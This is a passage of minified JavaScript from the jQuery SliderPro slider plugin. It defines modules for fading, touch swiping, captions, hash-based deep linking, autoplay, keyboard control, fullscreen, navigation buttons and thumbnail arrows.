-"+c+"px"),g[this.vendorPrefix+"transform"]+="css-3d"===this.supportedAnimation?" translate3d("+i+", 0)":" translate("+i+")",h[this.vendorPrefix+"transform"]+="css-3d"===this.supportedAnimation?" translate3d(0, 0, 0)":" translate(0, 0)",h[this.vendorPrefix+"transition"]+=", "+this.vendorPrefix+"transform "+d+"s"),this.$layer.on(this.transitionEvent,function(c){c.target===c.currentTarget&&(b.$layer.off(b.transitionEvent).css(b.vendorPrefix+"transition",""),-1!==f&&(b.stayTimer=setTimeout(function(){b.hide(),b.stayTimer=null},f)),"undefined"!=typeof a&&a())}),this.$layer.css(g),this.delayTimer=setTimeout(function(){b.$layer.css(h)},e)}}},hide:function(a){if(this.visible!==!1){var c=this,d="undefined"!=typeof this.data.hideOffset?this.data.hideOffset:50,e="undefined"!=typeof this.data.hideDuration?this.data.hideDuration/1e3:.4,f="undefined"!=typeof this.data.hideDelay?this.data.hideDelay:10;if(this.visible=!1,null!==this.stayTimer&&clearTimeout(this.stayTimer),"javascript"===this.supportedAnimation)this.$layer.stop().delay(f).animate({opacity:0},1e3*e,function(){b(this).css("visibility","hidden"),"undefined"!=typeof a&&a()});else{var g="",h={opacity:0};h[this.vendorPrefix+"transform"]="scale("+this.scaleRatio+")",h[this.vendorPrefix+"transition"]="opacity "+e+"s","undefined"!=typeof this.data.hideTransition&&("left"===this.data.hideTransition?g="-"+d+"px, 0":"right"===this.data.hideTransition?g=d+"px, 0":"up"===this.data.hideTransition?g="0, -"+d+"px":"down"===this.data.hideTransition&&(g="0, "+d+"px"),h[this.vendorPrefix+"transform"]+="css-3d"===this.supportedAnimation?" translate3d("+g+", 0)":" translate("+g+")",h[this.vendorPrefix+"transition"]+=", "+this.vendorPrefix+"transform "+e+"s"),this.$layer.on(this.transitionEvent,function(b){b.target===b.currentTarget&&(c.$layer.off(c.transitionEvent).css(c.vendorPrefix+"transition",""),c.visible===!1&&c.$layer.css("visibility","hidden"),"undefined"!=typeof a&&a())}),this.delayTimer=setTimeout(function(){c.$layer.css(h)},f)}}},isVisible:function(){return this.visible===!1||this.$layer.is(":hidden")?!1:!0},destroy:function(){this.$layer.removeAttr("style"),this.$layer.removeAttr("data-layer-init"),clearTimeout(this.delayTimer),clearTimeout(this.stayTimer),this.delayTimer=null,this.stayTimer=null}},b.SliderPro.addModule("Layers",d)}(window,jQuery),function(a,b){"use strict";var c="Fade."+b.SliderPro.namespace,d={fadeGotoSlideReference:null,initFade:function(){this.on("update."+c,b.proxy(this._fadeOnUpdate,this))},_fadeOnUpdate:function(){this.settings.fade===!0&&(this.fadeGotoSlideReference=this.gotoSlide,this.gotoSlide=this._fadeGotoSlide)},_fadeGotoSlide:function(a){if(a!==this.selectedSlideIndex)if(this.$slider.hasClass("sp-swiping"))this.fadeGotoSlideReference(a);else{var c,d,e=this,f=a;b.each(this.slides,function(a,b){var g=b.getIndex(),h=b.$slide;g===f?(h.css({opacity:0,left:0,top:0,"z-index":20,visibility:"visible"}),c=h):g===e.selectedSlideIndex?(h.css({opacity:1,left:0,top:0,"z-index":10,visibility:"visible"}),d=h):h.css({opacity:1,visibility:"hidden","z-index":""})}),this.previousSlideIndex=this.selectedSlideIndex,this.selectedSlideIndex=a,this.$slides.find(".sp-selected").removeClass("sp-selected"),this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).addClass("sp-selected"),e.settings.loop===!0&&e._updateSlidesOrder(),this._moveTo(0,!0),this._fadeSlideTo(c,1,function(){var c=!0;b.each(e.slides,function(a,b){"undefined"!=typeof b.$slide.attr("data-transitioning")&&(c=!1)}),c===!0&&(b.each(e.slides,function(a,b){var c=b.$slide;c.css({visibility:"",opacity:"","z-index":""})}),e._resetSlidesPosition()),e.trigger({type:"gotoSlideComplete",index:a,previousIndex:e.previousSlideIndex}),b.isFunction(e.settings.gotoSlideComplete)&&e.settings.gotoSlideComplete.call(e,{type:"gotoSlideComplete",index:a,previousIndex:e.previousSlideIndex})}),this.settings.fadeOutPreviousSlide===!0&&this._fadeSlideTo(d,0),this.settings.autoHeight===!0&&this._resizeHeight(),this.trigger({type:"gotoSlide",index:a,previousIndex:this.previousSlideIndex}),b.isFunction(this.settings.gotoSlide)&&this.settings.gotoSlide.call(this,{type:"gotoSlide",index:a,previousIndex:this.previousSlideIndex})}},_fadeSlideTo:function(a,b,c){var d=this;1===b&&a.attr("data-transitioning",!0),"css-3d"===this.supportedAnimation||"css-2d"===this.supportedAnimation?(setTimeout(function(){var c={opacity:b};c[d.vendorPrefix+"transition"]="opacity "+d.settings.fadeDuration/1e3+"s",a.css(c)},100),a.on(this.transitionEvent,function(b){b.target===b.currentTarget&&(a.off(d.transitionEvent),a.css(d.vendorPrefix+"transition",""),a.removeAttr("data-transitioning"),"function"==typeof c&&c())})):a.stop().animate({opacity:b},this.settings.fadeDuration,function(){a.removeAttr("data-transitioning"),"function"==typeof c&&c()})},destroyFade:function(){this.off("update."+c),null!==this.fadeGotoSlideReference&&(this.gotoSlide=this.fadeGotoSlideReference)},fadeDefaults:{fade:!1,fadeOutPreviousSlide:!0,fadeDuration:500}};b.SliderPro.addModule("Fade",d)}(window,jQuery),function(a,b){"use strict";var c="TouchSwipe."+b.SliderPro.namespace,d={touchStartPoint:{x:0,y:0},touchEndPoint:{x:0,y:0},touchDistance:{x:0,y:0},touchStartPosition:0,isTouchMoving:!1,touchSwipeEvents:{startEvent:"",moveEvent:"",endEvent:""},allowOppositeScrolling:!0,previousStartEvent:"",initTouchSwipe:function(){var a=this;this.settings.touchSwipe!==!1&&(this.touchSwipeEvents.startEvent="touchstart."+c+" mousedown."+c,this.touchSwipeEvents.moveEvent="touchmove."+c+" mousemove."+c,this.touchSwipeEvents.endEvent="touchend."+this.uniqueId+"."+c+" mouseup."+this.uniqueId+"."+c,this.$slidesMask.on(this.touchSwipeEvents.startEvent,b.proxy(this._onTouchStart,this)),this.$slidesMask.on("dragstart."+c,function(a){a.preventDefault()}),this.$slidesMask.find("a").on("click."+c,function(b){a.$slider.hasClass("sp-swiping")&&b.preventDefault()}),this.$slidesMask.addClass("sp-grab"))},_onTouchStart:function(a){if("mousedown"===a.type&&"touchstart"===this.previousStartEvent)return void(this.previousStartEvent=a.type);if(this.previousStartEvent=a.type,!(b(a.target).closest(".sp-selectable").length>=1)){var c="undefined"!=typeof a.originalEvent.touches?a.originalEvent.touches[0]:a.originalEvent;this.touchStartPoint.x=c.pageX||c.clientX,this.touchStartPoint.y=c.pageY||c.clientY,this.touchStartPosition=this.slidesPosition,this.touchDistance.x=this.touchDistance.y=0,this.$slides.hasClass("sp-animated")&&(this.isTouchMoving=!0,this._stopMovement(),this.touchStartPosition=this.slidesPosition),this.$slidesMask.on(this.touchSwipeEvents.moveEvent,b.proxy(this._onTouchMove,this)),b(document).on(this.touchSwipeEvents.endEvent,b.proxy(this._onTouchEnd,this)),this.$slidesMask.removeClass("sp-grab").addClass("sp-grabbing")}},_onTouchMove:function(a){var b="undefined"!=typeof a.originalEvent.touches?a.originalEvent.touches[0]:a.originalEvent;this.isTouchMoving=!0,this.$slider.hasClass("sp-swiping")===!1&&this.$slider.addClass("sp-swiping"),this.touchEndPoint.x=b.pageX||b.clientX,this.touchEndPoint.y=b.pageY||b.clientY,this.touchDistance.x=this.touchEndPoint.x-this.touchStartPoint.x,this.touchDistance.y=this.touchEndPoint.y-this.touchStartPoint.y;var c="horizontal"===this.settings.orientation?this.touchDistance.x:this.touchDistance.y,d="horizontal"===this.settings.orientation?this.touchDistance.y:this.touchDistance.x;Math.abs(c)>Math.abs(d)&&(this.allowOppositeScrolling=!1),this.allowOppositeScrolling!==!0&&(a.preventDefault(),this.settings.loop===!1&&(this.slidesPosition>this.touchStartPosition&&0===this.selectedSlideIndex||this.slidesPosition<this.touchStartPosition&&this.selectedSlideIndex===this.getTotalSlides()-1)&&(c=.2*c),this._moveTo(this.touchStartPosition+c,!0))},_onTouchEnd:function(a){var c=this,d="horizontal"===this.settings.orientation?this.touchDistance.x:this.touchDistance.y;if(this.$slidesMask.off(this.touchSwipeEvents.moveEvent),b(document).off(this.touchSwipeEvents.endEvent),this.allowOppositeScrolling=!0,this.$slidesMask.removeClass("sp-grabbing").addClass("sp-grab"),this.$slider.hasClass("sp-swiping")&&setTimeout(function(){c.$slider.removeClass("sp-swiping")},100),this.isTouchMoving!==!1){this.isTouchMoving=!1;var e=this.settings.centerSelectedSlide===!0&&"auto"!==this.settings.visibleSize?Math.round((parseInt(this.$slidesMask.css(this.sizeProperty),10)-this.getSlideAt(this.selectedSlideIndex).getSize()[this.sizeProperty])/2):0,f=-parseInt(this.$slides.find(".sp-slide").eq(this.selectedSlideIndex).css(this.positionProperty),10)+e;if(Math.abs(d)<this.settings.touchSwipeThreshold)this._moveTo(f);else{var g=(this.settings.rightToLeft===!0&&"horizontal"===this.settings.orientation?-1:1)*d/(this.averageSlideSize+this.settings.slideDistance);g=parseInt(g,10)+(g>0?1:-1);var h=this.slidesOrder[b.inArray(this.selectedSlideIndex,this.slidesOrder)-g];this.settings.loop===!0?this.gotoSlide(h):"undefined"!=typeof h?this.gotoSlide(h):this._moveTo(f)}}},destroyTouchSwipe:function(){this.$slidesMask.off("dragstart."+c),this.$slidesMask.find("a").off("click."+c),this.$slidesMask.off(this.touchSwipeEvents.startEvent),this.$slidesMask.off(this.touchSwipeEvents.moveEvent),b(document).off(this.touchSwipeEvents.endEvent),this.$slidesMask.removeClass("sp-grab")},touchSwipeDefaults:{touchSwipe:!0,touchSwipeThreshold:50}};b.SliderPro.addModule("TouchSwipe",d)}(window,jQuery),function(a,b){"use strict";var c="Caption."+b.SliderPro.namespace,d={$captionContainer:null,captionContent:"",
initCaption:function(){this.on("update."+c,b.proxy(this._captionOnUpdate,this)),this.on("gotoSlide."+c,b.proxy(this._updateCaptionContent,this))},_captionOnUpdate:function(){this.$captionContainer=this.$slider.find(".sp-caption-container"),this.$slider.find(".sp-caption").length&&0===this.$captionContainer.length&&(this.$captionContainer=b('<div class="sp-caption-container"></div>').appendTo(this.$slider),this._updateCaptionContent()),this.$slides.find(".sp-caption").each(function(){b(this).css("display","none")})},_updateCaptionContent:function(){var a=this,b=this.$slider.find(".sp-slide").eq(this.selectedSlideIndex).find(".sp-caption"),c=0!==b.length?b.html():"";this.settings.fadeCaption===!0?""!==this.captionContent?(0===parseFloat(this.$captionContainer.css("opacity"),10)&&(this.$captionContainer.css(this.vendorPrefix+"transition",""),this.$captionContainer.css("opacity",1)),this._fadeCaptionTo(0,function(){a.captionContent=c,""!==c?(a.$captionContainer.html(a.captionContent),a._fadeCaptionTo(1)):a.$captionContainer.empty()})):(this.captionContent=c,this.$captionContainer.html(this.captionContent),this.$captionContainer.css("opacity",0),this._fadeCaptionTo(1)):(this.captionContent=c,this.$captionContainer.html(this.captionContent))},_fadeCaptionTo:function(a,b){var c=this;"css-3d"===this.supportedAnimation||"css-2d"===this.supportedAnimation?(setTimeout(function(){var b={opacity:a};b[c.vendorPrefix+"transition"]="opacity "+c.settings.captionFadeDuration/1e3+"s",c.$captionContainer.css(b)},1),this.$captionContainer.on(this.transitionEvent,function(a){a.target===a.currentTarget&&(c.$captionContainer.off(c.transitionEvent),c.$captionContainer.css(c.vendorPrefix+"transition",""),"function"==typeof b&&b())})):this.$captionContainer.stop().animate({opacity:a},this.settings.captionFadeDuration,function(){"function"==typeof b&&b()})},destroyCaption:function(){this.off("update."+c),this.off("gotoSlide."+c),this.$captionContainer.remove(),this.$slider.find(".sp-caption").each(function(){b(this).css("display","")})},captionDefaults:{fadeCaption:!0,captionFadeDuration:500}};b.SliderPro.addModule("Caption",d)}(window,jQuery),function(a,b){"use strict";var c="DeepLinking."+b.SliderPro.namespace,d={initDeepLinking:function(){var d=this;this.on("init."+c,function(){d._gotoHash(a.location.hash)}),this.on("gotoSlide."+c,function(b){if(d.settings.updateHash===!0){var c=d.$slider.find(".sp-slide").eq(b.index).attr("id");"undefined"==typeof c&&(c=b.index),a.location.hash=d.$slider.attr("id")+"/"+c}}),b(a).on("hashchange."+this.uniqueId+"."+c,function(){d._gotoHash(a.location.hash)})},_parseHash:function(a){if(""!==a){a=a.substring(1);var b=a.split("/"),c=b.pop(),d=a.slice(0,-c.toString().length-1);if(this.$slider.attr("id")===d)return{sliderID:d,slideId:c}}return!1},_gotoHash:function(a){var b=this._parseHash(a);if(b!==!1){var c=b.slideId,d=parseInt(c,10);if(isNaN(d)){var e=this.$slider.find(".sp-slide#"+c).index();-1!==e&&e!==this.selectedSlideIndex&&this.gotoSlide(e)}else d!==this.selectedSlideIndex&&this.gotoSlide(d)}},destroyDeepLinking:function(){this.off("init."+c),this.off("gotoSlide."+c),b(a).off("hashchange."+this.uniqueId+"."+c)},deepLinkingDefaults:{updateHash:!1}};b.SliderPro.addModule("DeepLinking",d)}(window,jQuery),function(a,b){"use strict";var c="Autoplay."+b.SliderPro.namespace,d={autoplayTimer:null,isTimerRunning:!1,isTimerPaused:!1,initAutoplay:function(){this.on("update."+c,b.proxy(this._autoplayOnUpdate,this))},_autoplayOnUpdate:function(a){this.settings.autoplay===!0?(this.on("gotoSlide."+c,b.proxy(this._autoplayOnGotoSlide,this)),this.on("mouseenter."+c,b.proxy(this._autoplayOnMouseEnter,this)),this.on("mouseleave."+c,b.proxy(this._autoplayOnMouseLeave,this)),this.startAutoplay()):(this.off("gotoSlide."+c),this.off("mouseenter."+c),this.off("mouseleave."+c),this.stopAutoplay())},_autoplayOnGotoSlide:function(a){this.isTimerRunning===!0&&this.stopAutoplay(),this.isTimerPaused===!1&&this.startAutoplay()},_autoplayOnMouseEnter:function(a){!this.isTimerRunning||"pause"!==this.settings.autoplayOnHover&&"stop"!==this.settings.autoplayOnHover||(this.stopAutoplay(),this.isTimerPaused=!0)},_autoplayOnMouseLeave:function(a){this.settings.autoplay===!0&&this.isTimerRunning===!1&&"stop"!==this.settings.autoplayOnHover&&(this.startAutoplay(),this.isTimerPaused=!1)},startAutoplay:function(){var a=this;this.isTimerRunning=!0,this.autoplayTimer=setTimeout(function(){"normal"===a.settings.autoplayDirection?a.nextSlide():"backwards"===a.settings.autoplayDirection&&a.previousSlide()},this.settings.autoplayDelay)},stopAutoplay:function(){this.isTimerRunning=!1,this.isTimerPaused=!1,clearTimeout(this.autoplayTimer)},destroyAutoplay:function(){clearTimeout(this.autoplayTimer),this.off("update."+c),this.off("gotoSlide."+c),this.off("mouseenter."+c),this.off("mouseleave."+c)},autoplayDefaults:{autoplay:!0,autoplayDelay:5e3,autoplayDirection:"normal",autoplayOnHover:"pause"}};b.SliderPro.addModule("Autoplay",d)}(window,jQuery),function(a,b){"use strict";var c="Keyboard."+b.SliderPro.namespace,d={initKeyboard:function(){var a=this,d=!1;this.settings.keyboard!==!1&&(this.$slider.on("focus."+c,function(){d=!0}),this.$slider.on("blur."+c,function(){d=!1}),b(document).on("keydown."+this.uniqueId+"."+c,function(b){if(a.settings.keyboardOnlyOnFocus!==!0||d!==!1)if(37===b.which)a.previousSlide();else if(39===b.which)a.nextSlide();else if(13===b.which){var c=a.$slider.find(".sp-slide").eq(a.selectedSlideIndex).find(".sp-image-container a");0!==c.length&&c[0].click()}}))},destroyKeyboard:function(){this.$slider.off("focus."+c),this.$slider.off("blur."+c),b(document).off("keydown."+this.uniqueId+"."+c)},keyboardDefaults:{keyboard:!0,keyboardOnlyOnFocus:!1}};b.SliderPro.addModule("Keyboard",d)}(window,jQuery),function(a,b){"use strict";var c="FullScreen."+b.SliderPro.namespace,d={isFullScreen:!1,$fullScreenButton:null,sizeBeforeFullScreen:{},initFullScreen:function(){(document.fullscreenEnabled||document.webkitFullscreenEnabled||document.mozFullScreenEnabled||document.msFullscreenEnabled)&&this.on("update."+c,b.proxy(this._fullScreenOnUpdate,this))},_fullScreenOnUpdate:function(){this.settings.fullScreen===!0&&null===this.$fullScreenButton?this._addFullScreen():this.settings.fullScreen===!1&&null!==this.$fullScreenButton&&this._removeFullScreen(),this.settings.fullScreen===!0&&(this.settings.fadeFullScreen===!0?this.$fullScreenButton.addClass("sp-fade-full-screen"):this.settings.fadeFullScreen===!1&&this.$fullScreenButton.removeClass("sp-fade-full-screen"))},_addFullScreen:function(){this.$fullScreenButton=b('<div class="sp-full-screen-button"></div>').appendTo(this.$slider),this.$fullScreenButton.on("click."+c,b.proxy(this._onFullScreenButtonClick,this)),document.addEventListener("fullscreenchange",b.proxy(this._onFullScreenChange,this)),document.addEventListener("mozfullscreenchange",b.proxy(this._onFullScreenChange,this)),document.addEventListener("webkitfullscreenchange",b.proxy(this._onFullScreenChange,this)),document.addEventListener("MSFullscreenChange",b.proxy(this._onFullScreenChange,this))},_removeFullScreen:function(){null!==this.$fullScreenButton&&(this.$fullScreenButton.off("click."+c),this.$fullScreenButton.remove(),this.$fullScreenButton=null,document.removeEventListener("fullscreenchange",this._onFullScreenChange),document.removeEventListener("mozfullscreenchange",this._onFullScreenChange),document.removeEventListener("webkitfullscreenchange",this._onFullScreenChange),document.removeEventListener("MSFullscreenChange",this._onFullScreenChange))},_onFullScreenButtonClick:function(){this.isFullScreen===!1?this.instance.requestFullScreen?this.instance.requestFullScreen():this.instance.mozRequestFullScreen?this.instance.mozRequestFullScreen():this.instance.webkitRequestFullScreen?this.instance.webkitRequestFullScreen():this.instance.msRequestFullscreen&&this.instance.msRequestFullscreen():document.exitFullScreen?document.exitFullScreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen?document.webkitCancelFullScreen():document.msExitFullscreen&&document.msExitFullscreen()},_onFullScreenChange:function(){this.isFullScreen=document.fullscreenElement||document.webkitFullscreenElement||document.mozFullScreenElement||document.msFullscreenElement?!0:!1,this.isFullScreen===!0?(this.sizeBeforeFullScreen={forceSize:this.settings.forceSize,autoHeight:this.settings.autoHeight},this.$slider.addClass("sp-full-screen"),this.settings.forceSize="fullWindow",this.settings.autoHeight=!1):(this.$slider.css("margin",""),this.$slider.removeClass("sp-full-screen"),this.settings.forceSize=this.sizeBeforeFullScreen.forceSize,this.settings.autoHeight=this.sizeBeforeFullScreen.autoHeight),this.resize()},destroyFullScreen:function(){this.off("update."+c),this._removeFullScreen()},fullScreenDefaults:{fullScreen:!1,fadeFullScreen:!0}};b.SliderPro.addModule("FullScreen",d)}(window,jQuery),function(a,b){"use strict";var c="Buttons."+b.SliderPro.namespace,d={$buttons:null,initButtons:function(){this.on("update."+c,b.proxy(this._buttonsOnUpdate,this))},_buttonsOnUpdate:function(){this.$buttons=this.$slider.find(".sp-buttons"),this.settings.buttons===!0&&this.getTotalSlides()>1&&0===this.$buttons.length?this._createButtons():this.settings.buttons===!0&&this.getTotalSlides()!==this.$buttons.find(".sp-button").length&&0!==this.$buttons.length?this._adjustButtons():(this.settings.buttons===!1||this.getTotalSlides()<=1&&0!==this.$buttons.length)&&this._removeButtons()},_createButtons:function(){var a=this;this.$buttons=b('<div class="sp-buttons"></div>').appendTo(this.$slider);for(var d=0;d<this.getTotalSlides();d++)b('<div class="sp-button"></div>').appendTo(this.$buttons);this.$buttons.on("click."+c,".sp-button",function(){a.gotoSlide(b(this).index())}),this.$buttons.find(".sp-button").eq(this.selectedSlideIndex).addClass("sp-selected-button"),this.on("gotoSlide."+c,function(b){a.$buttons.find(".sp-selected-button").removeClass("sp-selected-button"),a.$buttons.find(".sp-button").eq(b.index).addClass("sp-selected-button")}),this.$slider.addClass("sp-has-buttons")},_adjustButtons:function(){this.$buttons.empty();for(var a=0;a<this.getTotalSlides();a++)b('<div class="sp-button"></div>').appendTo(this.$buttons);this.$buttons.find(".sp-selected-button").removeClass("sp-selected-button"),this.$buttons.find(".sp-button").eq(this.selectedSlideIndex).addClass("sp-selected-button")},_removeButtons:function(){this.$buttons.off("click."+c,".sp-button"),this.off("gotoSlide."+c),this.$buttons.remove(),this.$slider.removeClass("sp-has-buttons")},destroyButtons:function(){this._removeButtons(),this.off("update."+c)},buttonsDefaults:{buttons:!0}};b.SliderPro.addModule("Buttons",d)}(window,jQuery),function(a,b){"use strict";var c="Arrows."+b.SliderPro.namespace,d={$arrows:null,$previousArrow:null,$nextArrow:null,initArrows:function(){this.on("update."+c,b.proxy(this._arrowsOnUpdate,this)),this.on("gotoSlide."+c,b.proxy(this._checkArrowsVisibility,this))},_arrowsOnUpdate:function(){var a=this;this.settings.arrows===!0&&null===this.$arrows?(this.$arrows=b('<div class="sp-arrows"></div>').appendTo(this.$slidesContainer),this.$previousArrow=b('<div class="sp-arrow sp-previous-arrow"></div>').appendTo(this.$arrows),this.$nextArrow=b('<div class="sp-arrow sp-next-arrow"></div>').appendTo(this.$arrows),this.$previousArrow.on("click."+c,function(){a.previousSlide()}),this.$nextArrow.on("click."+c,function(){a.nextSlide()}),this._checkArrowsVisibility()):this.settings.arrows===!1&&null!==this.$arrows&&this._removeArrows(),this.settings.arrows===!0&&(this.settings.fadeArrows===!0?this.$arrows.addClass("sp-fade-arrows"):this.settings.fadeArrows===!1&&this.$arrows.removeClass("sp-fade-arrows"))},_checkArrowsVisibility:function(){this.settings.arrows!==!1&&this.settings.loop!==!0&&(0===this.selectedSlideIndex?this.$previousArrow.css("display","none"):this.$previousArrow.css("display","block"),this.selectedSlideIndex===this.getTotalSlides()-1?this.$nextArrow.css("display","none"):this.$nextArrow.css("display","block"))},_removeArrows:function(){null!==this.$arrows&&(this.$previousArrow.off("click."+c),this.$nextArrow.off("click."+c),this.$arrows.remove(),this.$arrows=null)},destroyArrows:function(){this._removeArrows(),this.off("update."+c),this.off("gotoSlide."+c)},arrowsDefaults:{arrows:!1,fadeArrows:!0}};b.SliderPro.addModule("Arrows",d)}(window,jQuery),function(a,b){"use strict";var c="ThumbnailTouchSwipe."+b.SliderPro.namespace,d={thumbnailTouchStartPoint:{x:0,y:0},thumbnailTouchEndPoint:{x:0,y:0},thumbnailTouchDistance:{x:0,y:0},thumbnailTouchStartPosition:0,isThumbnailTouchMoving:!1,isThumbnailTouchSwipe:!1,thumbnailTouchSwipeEvents:{startEvent:"",moveEvent:"",endEvent:""},thumbnailPreviousStartEvent:"",initThumbnailTouchSwipe:function(){this.on("update."+c,b.proxy(this._thumbnailTouchSwipeOnUpdate,this))},_thumbnailTouchSwipeOnUpdate:function(){this.isThumbnailScroller!==!1&&(this.settings.thumbnailTouchSwipe===!0&&this.isThumbnailTouchSwipe===!1&&(this.isThumbnailTouchSwipe=!0,this.thumbnailTouchSwipeEvents.startEvent="touchstart."+c+" mousedown."+c,this.thumbnailTouchSwipeEvents.moveEvent="touchmove."+c+" mousemove."+c,this.thumbnailTouchSwipeEvents.endEvent="touchend."+this.uniqueId+"."+c+" mouseup."+this.uniqueId+"."+c,this.$thumbnails.on(this.thumbnailTouchSwipeEvents.startEvent,b.proxy(this._onThumbnailTouchStart,this)),this.$thumbnails.on("dragstart."+c,function(a){a.preventDefault()}),this.$thumbnails.addClass("sp-grab")),b.each(this.thumbnails,function(a,b){b.off("thumbnailClick")}))},_onThumbnailTouchStart:function(a){if("mousedown"===a.type&&"touchstart"===this.thumbnailPreviousStartEvent)return void(this.thumbnailPreviousStartEvent=a.type);if(this.thumbnailPreviousStartEvent=a.type,!(b(a.target).closest(".sp-selectable").length>=1)){var d="undefined"!=typeof a.originalEvent.touches?a.originalEvent.touches[0]:a.originalEvent;"undefined"==typeof a.originalEvent.touches&&a.preventDefault(),b(a.target).parents(".sp-thumbnail-container").find("a").one("click."+c,function(a){a.preventDefault()}),this.thumbnailTouchStartPoint.x=d.pageX||d.clientX,this.thumbnailTouchStartPoint.y=d.pageY||d.clientY,this.thumbnailTouchStartPosition=this.thumbnailsPosition,this.thumbnailTouchDistance.x=this.thumbnailTouchDistance.y=0,this.$thumbnails.hasClass("sp-animated")&&(this.isThumbnailTouchMoving=!0,this._stopThumbnailsMovement(),this.thumbnailTouchStartPosition=this.thumbnailsPosition),this.$thumbnails.on(this.thumbnailTouchSwipeEvents.moveEvent,b.proxy(this._onThumbnailTouchMove,this)),b(document).on(this.thumbnailTouchSwipeEvents.endEvent,b.proxy(this._onThumbnailTouchEnd,this)),this.$thumbnails.removeClass("sp-grab").addClass("sp-grabbing"),this.$thumbnailsContainer.addClass("sp-swiping")}},_onThumbnailTouchMove:function(a){var b="undefined"!=typeof a.originalEvent.touches?a.originalEvent.touches[0]:a.originalEvent;this.isThumbnailTouchMoving=!0,this.thumbnailTouchEndPoint.x=b.pageX||b.clientX,this.thumbnailTouchEndPoint.y=b.pageY||b.clientY,this.thumbnailTouchDistance.x=this.thumbnailTouchEndPoint.x-this.thumbnailTouchStartPoint.x,this.thumbnailTouchDistance.y=this.thumbnailTouchEndPoint.y-this.thumbnailTouchStartPoint.y;var c="horizontal"===this.thumbnailsOrientation?this.thumbnailTouchDistance.x:this.thumbnailTouchDistance.y,d="horizontal"===this.thumbnailsOrientation?this.thumbnailTouchDistance.y:this.thumbnailTouchDistance.x;if(Math.abs(c)>Math.abs(d)){if(a.preventDefault(),this.thumbnailsPosition>=0){var e=-this.thumbnailTouchStartPosition;c=e+.2*(c-e)}else if(this.thumbnailsPosition<=-this.thumbnailsSize+this.thumbnailsContainerSize){var f=this.thumbnailsSize-this.thumbnailsContainerSize+this.thumbnailTouchStartPosition;c=-f+.2*(c+f)}this._moveThumbnailsTo(this.thumbnailTouchStartPosition+c,!0)}},_onThumbnailTouchEnd:function(a){var d=this;"horizontal"===this.thumbnailsOrientation?this.thumbnailTouchDistance.x:this.thumbnailTouchDistance.y;if(this.$thumbnails.off(this.thumbnailTouchSwipeEvents.moveEvent),b(document).off(this.thumbnailTouchSwipeEvents.endEvent),this.$thumbnails.removeClass("sp-grabbing").addClass("sp-grab"),this.isThumbnailTouchMoving===!1||this.isThumbnailTouchMoving===!0&&Math.abs(this.thumbnailTouchDistance.x)<10&&Math.abs(this.thumbnailTouchDistance.y)<10){var e=b(a.target).hasClass("sp-thumbnail-container")?b(a.target):b(a.target).parents(".sp-thumbnail-container"),f=e.index();return void(0!==b(a.target).parents("a").length?(b(a.target).parents("a").off("click."+c),this.$thumbnailsContainer.removeClass("sp-swiping")):f!==this.selectedThumbnailIndex&&-1!==f&&this.gotoSlide(f))}this.isThumbnailTouchMoving=!1,b(a.target).parents(".sp-thumbnail").one("click",function(a){a.preventDefault()}),setTimeout(function(){d.$thumbnailsContainer.removeClass("sp-swiping")},1),this.thumbnailsPosition>0?this._moveThumbnailsTo(0):this.thumbnailsPosition<this.thumbnailsContainerSize-this.thumbnailsSize&&this._moveThumbnailsTo(this.thumbnailsContainerSize-this.thumbnailsSize),this.trigger({type:"thumbnailsMoveComplete"}),b.isFunction(this.settings.thumbnailsMoveComplete)&&this.settings.thumbnailsMoveComplete.call(this,{type:"thumbnailsMoveComplete"})},destroyThumbnailTouchSwipe:function(){this.off("update."+c),this.isThumbnailScroller!==!1&&(this.$thumbnails.off(this.thumbnailTouchSwipeEvents.startEvent),this.$thumbnails.off(this.thumbnailTouchSwipeEvents.moveEvent),this.$thumbnails.off("dragstart."+c),b(document).off(this.thumbnailTouchSwipeEvents.endEvent),this.$thumbnails.removeClass("sp-grab"))},thumbnailTouchSwipeDefaults:{thumbnailTouchSwipe:!0}};b.SliderPro.addModule("ThumbnailTouchSwipe",d)}(window,jQuery),function(a,b){"use strict";var c="ThumbnailArrows."+b.SliderPro.namespace,d={$thumbnailArrows:null,$previousThumbnailArrow:null,$nextThumbnailArrow:null,initThumbnailArrows:function(){var a=this;this.on("update."+c,b.proxy(this._thumbnailArrowsOnUpdate,this)),this.on("sliderResize."+c+" thumbnailsMoveComplete."+c,function(){a.isThumbnailScroller===!0&&a.settings.thumbnailArrows===!0&&a._checkThumbnailArrowsVisibility()})},_thumbnailArrowsOnUpdate:function(){var a=this;this.isThumbnailScroller!==!1&&(this.settings.thumbnailArrows===!0&&null===this.$thumbnailArrows?(this.$thumbnailArrows=b('<div class="sp-thumbnail-arrows"></div>').appendTo(this.$thumbnailsContainer),this.$previousThumbnailArrow=b('<div class="sp-thumbnail-arrow sp-previous-thumbnail-arrow"></div>').appendTo(this.$thumbnailArrows),this.$nextThumbnailArrow=b('<div class="sp-thumbnail-arrow sp-next-thumbnail-arrow"></div>').appendTo(this.$thumbnailArrows),this.$previousThumbnailArrow.on("click."+c,function(){var b=Math.min(0,a.thumbnailsPosition+a.thumbnailsContainerSize);a._moveThumbnailsTo(b)}),this.$nextThumbnailArrow.on("click."+c,function(){var b=Math.max(a.thumbnailsContainerSize-a.thumbnailsSize,a.thumbnailsPosition-a.thumbnailsContainerSize);a._moveThumbnailsTo(b)})):this.settings.thumbnailArrows===!1&&null!==this.$thumbnailArrows&&this._removeThumbnailArrows(),this.settings.thumbnailArrows===!0&&(this.settings.fadeThumbnailArrows===!0?this.$thumbnailArrows.addClass("sp-fade-thumbnail-arrows"):this.settings.fadeThumbnailArrows===!1&&this.$thumbnailArrows.removeClass("sp-fade-thumbnail-arrows"),this._checkThumbnailArrowsVisibility()))},_checkThumbnailArrowsVisibility:function(){0===this.thumbnailsPosition?this.$previousThumbnailArrow.css("display","none"):this.$previousThumbnailArrow.css("display","block"),this.thumbnailsPosition===this.thumbnailsContainerSize-this.thumbnailsSize?this.$nextThumbnailArrow.css("display","none"):this.$nextThumbnailArrow.css("display","block")},_removeThumbnailArrows:function(){null!==this.$thumbnailArrows&&(this.$previousThumbnailArrow.off("click."+c),this.$nextThumbnailArrow.off("click."+c),this.$thumbnailArrows.remove(),this.$thumbnailArrows=null)},destroyThumbnailArrows:function(){this._removeThumbnailArrows(),this.off("update."+c),this.off("sliderResize."+c),this.off("thumbnailsMoveComplete."+c)},thumbnailArrowsDefaults:{thumbnailArrows:!1,fadeThumbnailArrows:!0}};b.SliderPro.addModule("ThumbnailArrows",d)}(window,jQuery),function(a,b){"use strict";var 